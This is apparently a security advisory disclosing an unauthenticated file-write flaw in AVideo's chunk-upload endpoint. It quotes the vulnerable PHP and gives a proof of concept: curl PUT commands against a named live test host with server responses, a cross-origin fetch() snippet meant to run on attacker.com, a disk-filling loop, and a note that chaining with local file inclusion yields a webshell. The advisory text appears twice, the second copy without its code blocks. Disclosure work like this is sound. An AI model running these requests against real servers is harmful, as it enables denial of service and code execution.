Summary
An unauthenticated arbitrary file write vulnerability in AVideo's objects/aVideoEncoderChunk.json.php allows any remote attacker to write arbitrary content (up to 4 GB per request) to the server's filesystem via HTTP PUT requests without any form of authentication, session, API key, or token. The endpoint also hardcodes Access-Control-Allow-Origin: *, enabling silent cross-origin exploitation from any website via JavaScript. An attacker can exhaust all disk space on the server causing a complete denial of service, or inject malicious content into the video encoding pipeline. When chained with a local file inclusion vulnerability, this leads to remote code execution.
Details
The file objects/aVideoEncoderChunk.json.php is a standalone PHP endpoint designed for the internal video encoder to upload file chunks during encoding. It contains zero require/include statements and is completely isolated from AVideo's authentication framework.
Every other endpoint in the objects/ directory loads the auth framework:
// like.json.php — AUTHENTICATED (for comparison)
global $global, $config;
if (!isset($global['systemRootPath'])) {
require_once '../videos/configuration.php'; // ← loads auth
}
require_once $global['systemRootPath'] . 'objects/user.php'; // ← enforces login
The vulnerable file has none of this:
// aVideoEncoderChunk.json.php — UNAUTHENTICATED
<?php
header('Access-Control-Allow-Origin: *'); // line 2 — any website can call this
header('Content-Type: application/json'); // line 3
// NO require_once, NO include, NO session, NO token, NO API key
The endpoint provides two write modes:
Mode 1 — Multi-chunk upload (lines 56–98): When file_id is provided via GET, the endpoint reads raw request body from php://input and writes it to /tmp/YTPChunk_<file_id>:
$fileId = isset($_GET['file_id']) ? $_GET['file_id'] : ''; // line 56
if (!empty($fileId)) {
if (!preg_match('/^[0-9a-f]{1,64}$/i', $fileId)) { // line 59 — hex validation only, NOT auth
http_response_code(400);
die(json_encode(['error' => true, 'msg' => 'Invalid file_id']));
}
$chunkIndex = isset($_GET['chunk']) ? (int) $_GET['chunk'] : 0;
$totalChunks = isset($_GET['total']) ? max(1, (int) $_GET['total']) : 1;
$destFile = $tmpDir . DIRECTORY_SEPARATOR . 'YTPChunk_' . $fileId; // line 67 — predictable path
$mode = ($chunkIndex === 0) ? 'w' : 'a'; // line 70 — chunk 0 truncates, >0 appends
$putdata = fopen('php://input', 'r'); // line 71 — reads attacker's request body
$fp = fopen($destFile, $mode); // line 72 — opens file for writing
$written = 0;
while (($data = fread($putdata, 1024 * 1024)) !== false && $data !== '') {
$written += strlen($data);
if ($written > $maxBytes) { /* ... 413 ... */ }
fwrite($fp, $data); // line 84 — writes attacker content to disk
}
fclose($fp);
fclose($putdata);
$obj = new stdClass();
$obj->file = $destFile; // line 90 — leaks full server path
$obj->filesize = filesize($destFile);
$obj->chunk = $chunkIndex;
$obj->total = $totalChunks;
$obj->complete = ($chunkIndex + 1 >= $totalChunks);
die(json_encode($obj));
}
Mode 2 — Legacy single upload (lines 100–134): When no file_id is provided, the endpoint creates a temporary file via tempnam() and writes the raw body:
$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_'); // line 104 — auto-generated temp file
$putdata = fopen("php://input", "r"); // line 106
$fp = fopen($obj->file, "w"); // line 107
// ... reads and writes attacker body ...
fwrite($fp, $data); // line 122
The per-request size cap has a 4 GB floor:
$floorBytes = 4 * 1024 * 1024 * 1024; // 4 GB floor // line 32
$maxBytes = $rawLimit ? max(_parseIniSize($rawLimit), $floorBytes) : $floorBytes; // line 33
Path traversal is mitigated by the hex regex on line 59 (/^[0-9a-f]{1,64}$/i), confining writes to /tmp/YTPChunk_<hex>. However, this does not address the core vulnerability — the unauthenticated write itself.
PoC
Deployed instance: http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com
Server: Apache/2.4.52 (Ubuntu) — IP: 35.184.50.101
Step 1 — Write arbitrary data to disk (no authentication required):
curl -X PUT \
"http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=a0b1c2d3e4f56789&chunk=0&total=1" \
-d "GHSA_PROOF_OF_CONCEPT_DATA_12345" \
-H "Content-Type: application/octet-stream"
Response (HTTP 200):
{"file":"\/tmp\/YTPChunk_a0b1c2d3e4f56789","filesize":32,"chunk":0,"total":1,"complete":true}
32 bytes of attacker-controlled content written to /tmp/YTPChunk_a0b1c2d3e4f56789 — zero credentials required.
Step 2 — Multi-chunk file assembly (append arbitrary data):
# Chunk 0 — creates/truncates the file
curl -X PUT \
"http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=deadbeef01234567&chunk=0&total=2" \
-d "CHUNK_0_ATTACKER_PAYLOAD_A"
{"file":"\/tmp\/YTPChunk_deadbeef01234567","filesize":26,"chunk":0,"total":2,"complete":false}
# Chunk 1 — appends to the same file
curl -X PUT \
"http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=deadbeef01234567&chunk=1&total=2" \
-d "CHUNK_1_ATTACKER_PAYLOAD_B"
{"file":"\/tmp\/YTPChunk_deadbeef01234567","filesize":52,"chunk":1,"total":2,"complete":true}
File grows from 26 → 52 bytes confirming append mode. An attacker can assemble arbitrarily large files up to 4 GB per chunk.
Step 3 — Legacy mode (no parameters needed at all):
curl -X POST \
"http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php" \
-d "LEGACY_WRITE_PAYLOAD"
{"file":"\/tmp\/YTPChunk_eMUtZe","filesize":21}
A file is created at a tempnam()-generated path — no file_id or any parameter required.
Step 4 — Cross-origin exploitation (exploitable from any website):
curl -X PUT \
"http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=c0ffee1234abcdef&chunk=0&total=1" \
-H "Origin: https://attacker.com" \
-d "CROSS_ORIGIN_WRITE"
Response headers:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"file":"\/tmp\/YTPChunk_c0ffee1234abcdef","filesize":19,"chunk":0,"total":1,"complete":true}
The wildcard Access-Control-Allow-Origin: * header means any website can exploit this endpoint via JavaScript:
// This runs on attacker.com — silently writes to victim's AVideo server
fetch('http://TARGET/objects/aVideoEncoderChunk.json.php?file_id=cafebabe12345678&chunk=0&total=1', {
method: 'PUT',
body: 'ATTACKER_CONTROLLED_CONTENT',
mode: 'cors'
})
.then(r => r.json())
.then(d => console.log('Written:', d.file, d.filesize, 'bytes'));
Step 5 — Disk exhaustion (unlimited file creation, no rate limit):
for i in $(seq 1 5); do
FID=$(printf "%016x" $i)
curl -s -X PUT \
"http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com/objects/aVideoEncoderChunk.json.php?file_id=${FID}&chunk=0&total=1" \
-d "DISK_FILL_TEST_${i}"
done
{"file":"\/tmp\/YTPChunk_0000000000000001","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000002","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000003","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000004","filesize":21,"chunk":0,"total":1,"complete":true}
{"file":"\/tmp\/YTPChunk_0000000000000005","filesize":21,"chunk":0,"total":1,"complete":true}
All 5 files created instantly. With up to 4 GB per request and 2^256 possible file_id values (64 hex chars), an attacker can fill the entire /tmp partition in seconds.
Impact
This is a Missing Authentication for Critical Function (CWE-306) combined with Uncontrolled Resource Consumption (CWE-400) vulnerability. CVSS 3.1: 8.6 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
Who is affected: Every AVideo installation with default configuration. No credentials, user interaction, or special configuration are required to exploit.
Disk Exhaustion / Denial of Service: Each unauthenticated request writes up to 4 GB to /tmp. There is no rate limiting and no IP restriction. Stale file cleanup only runs every 4 hours (line 10: time() - 14400). An automated script fills /tmp in seconds, causing PHP session storage failures (session.save_path defaults to /tmp), video encoding pipeline crashes, and complete server unavailability.
Arbitrary Content Write: The attacker controls the exact byte content written to predictable server paths (/tmp/YTPChunk_<hex>). The AVideo encoder pipeline consumes files from this exact path pattern. An attacker can poison pending uploads by overwriting any file_id (e.g., curl -X PUT ...?file_id=<known_hex>&chunk=0). When chained with a local file inclusion vulnerability elsewhere in the application, this becomes remote code execution — the attacker writes a PHP webshell to /tmp/YTPChunk_<hex> then includes it.
Cross-Origin Exploitation: The hardcoded Access-Control-Allow-Origin: * header (line 2) means any website on the internet can make cross-origin PUT requests to this endpoint via JavaScript fetch(). An attacker embeds the exploit in a page, and every AVideo user who visits the attacker's site unknowingly writes files to the AVideo server. No CSRF token exists because the endpoint has no session context whatsoever.
Information Disclosure: Every response leaks the full server filesystem path (e.g., /tmp/YTPChunk_a0b1c2d3e4f56789), confirming the server OS, temp directory location, and internal naming scheme.
Summary
An unauthenticated arbitrary file write vulnerability in AVideo's
objects/aVideoEncoderChunk.json.phpallows any remote attacker to write arbitrary content (up to 4 GB per request) to the server's filesystem via HTTP PUT requests without any form of authentication, session, API key, or token. The endpoint also hardcodesAccess-Control-Allow-Origin: *, enabling silent cross-origin exploitation from any website via JavaScript. An attacker can exhaust all disk space on the server causing a complete denial of service, or inject malicious content into the video encoding pipeline. When chained with a local file inclusion vulnerability, this leads to remote code execution.Details
The file
objects/aVideoEncoderChunk.json.phpis a standalone PHP endpoint designed for the internal video encoder to upload file chunks during encoding. It contains zerorequire/includestatements and is completely isolated from AVideo's authentication framework.Every other endpoint in the
objects/directory loads the auth framework:The vulnerable file has none of this:
The endpoint provides two write modes:
Mode 1 — Multi-chunk upload (lines 56–98): When
file_idis provided via GET, the endpoint reads raw request body fromphp://inputand writes it to/tmp/YTPChunk_<file_id>:Mode 2 — Legacy single upload (lines 100–134): When no
file_idis provided, the endpoint creates a temporary file viatempnam()and writes the raw body:The per-request size cap has a 4 GB floor:
Path traversal is mitigated by the hex regex on line 59 (
/^[0-9a-f]{1,64}$/i), confining writes to/tmp/YTPChunk_<hex>. However, this does not address the core vulnerability — the unauthenticated write itself.PoC
Deployed instance: http://4jxgqdgko9et4yz35kxn3j20atd3agzj.tryneoai.com
Server: Apache/2.4.52 (Ubuntu) — IP: 35.184.50.101
Step 1 — Write arbitrary data to disk (no authentication required):
Response (HTTP 200):
{"file":"\/tmp\/YTPChunk_a0b1c2d3e4f56789","filesize":32,"chunk":0,"total":1,"complete":true}32 bytes of attacker-controlled content written to
/tmp/YTPChunk_a0b1c2d3e4f56789— zero credentials required.Step 2 — Multi-chunk file assembly (append arbitrary data):
{"file":"\/tmp\/YTPChunk_deadbeef01234567","filesize":26,"chunk":0,"total":2,"complete":false}{"file":"\/tmp\/YTPChunk_deadbeef01234567","filesize":52,"chunk":1,"total":2,"complete":true}File grows from 26 → 52 bytes confirming append mode. An attacker can assemble arbitrarily large files up to 4 GB per chunk.
Step 3 — Legacy mode (no parameters needed at all):
{"file":"\/tmp\/YTPChunk_eMUtZe","filesize":21}A file is created at a
tempnam()-generated path — nofile_idor any parameter required.Step 4 — Cross-origin exploitation (exploitable from any website):
Response headers:
{"file":"\/tmp\/YTPChunk_c0ffee1234abcdef","filesize":19,"chunk":0,"total":1,"complete":true}The wildcard
Access-Control-Allow-Origin: *header means any website can exploit this endpoint via JavaScript:Step 5 — Disk exhaustion (unlimited file creation, no rate limit):
All 5 files created instantly. With up to 4 GB per request and 2^256 possible
file_idvalues (64 hex chars), an attacker can fill the entire/tmppartition in seconds.Impact
This is a Missing Authentication for Critical Function (CWE-306) combined with Uncontrolled Resource Consumption (CWE-400) vulnerability. CVSS 3.1: 8.6 High (
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).Who is affected: Every AVideo installation with default configuration. No credentials, user interaction, or special configuration are required to exploit.
Disk Exhaustion / Denial of Service: Each unauthenticated request writes up to 4 GB to
/tmp. There is no rate limiting and no IP restriction. Stale file cleanup only runs every 4 hours (line 10:time() - 14400). An automated script fills/tmpin seconds, causing PHP session storage failures (session.save_pathdefaults to/tmp), video encoding pipeline crashes, and complete server unavailability.Arbitrary Content Write: The attacker controls the exact byte content written to predictable server paths (
/tmp/YTPChunk_<hex>). The AVideo encoder pipeline consumes files from this exact path pattern. An attacker can poison pending uploads by overwriting anyfile_id(e.g.,curl -X PUT ...?file_id=<known_hex>&chunk=0). When chained with a local file inclusion vulnerability elsewhere in the application, this becomes remote code execution — the attacker writes a PHP webshell to/tmp/YTPChunk_<hex>then includes it.Cross-Origin Exploitation: The hardcoded
Access-Control-Allow-Origin: *header (line 2) means any website on the internet can make cross-origin PUT requests to this endpoint via JavaScriptfetch(). An attacker embeds the exploit in a page, and every AVideo user who visits the attacker's site unknowingly writes files to the AVideo server. No CSRF token exists because the endpoint has no session context whatsoever.Information Disclosure: Every response leaks the full server filesystem path (e.g.,
/tmp/YTPChunk_a0b1c2d3e4f56789), confirming the server OS, temp directory location, and internal naming scheme.